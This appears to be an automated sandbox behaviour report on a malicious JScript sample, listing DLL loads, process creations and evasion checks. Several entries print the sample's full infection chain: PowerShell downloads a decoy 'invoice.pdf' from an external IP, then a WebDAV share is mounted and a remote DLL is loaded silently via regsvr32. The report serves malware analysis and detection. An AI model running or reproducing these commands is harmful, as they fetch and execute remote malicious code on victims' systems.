Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\138.js.csv");ITextStream.WriteLine(" entry:8310 f:giuhkxp");ITextStream.WriteLine(" exec:2 f:giuhkxp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4701			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5167			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7140	Thread sleep count: 4701 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6192	Thread sleep count: 5167 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3228	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3176	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3524	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7200	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2152257987.000001EC2E6C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3385743161.0000027D78254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3384132145.0000027D72C27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2152257987.000001EC2E658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW Il.
Source: net.exe, 00000007.00000002.2152257987.000001EC2E6C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
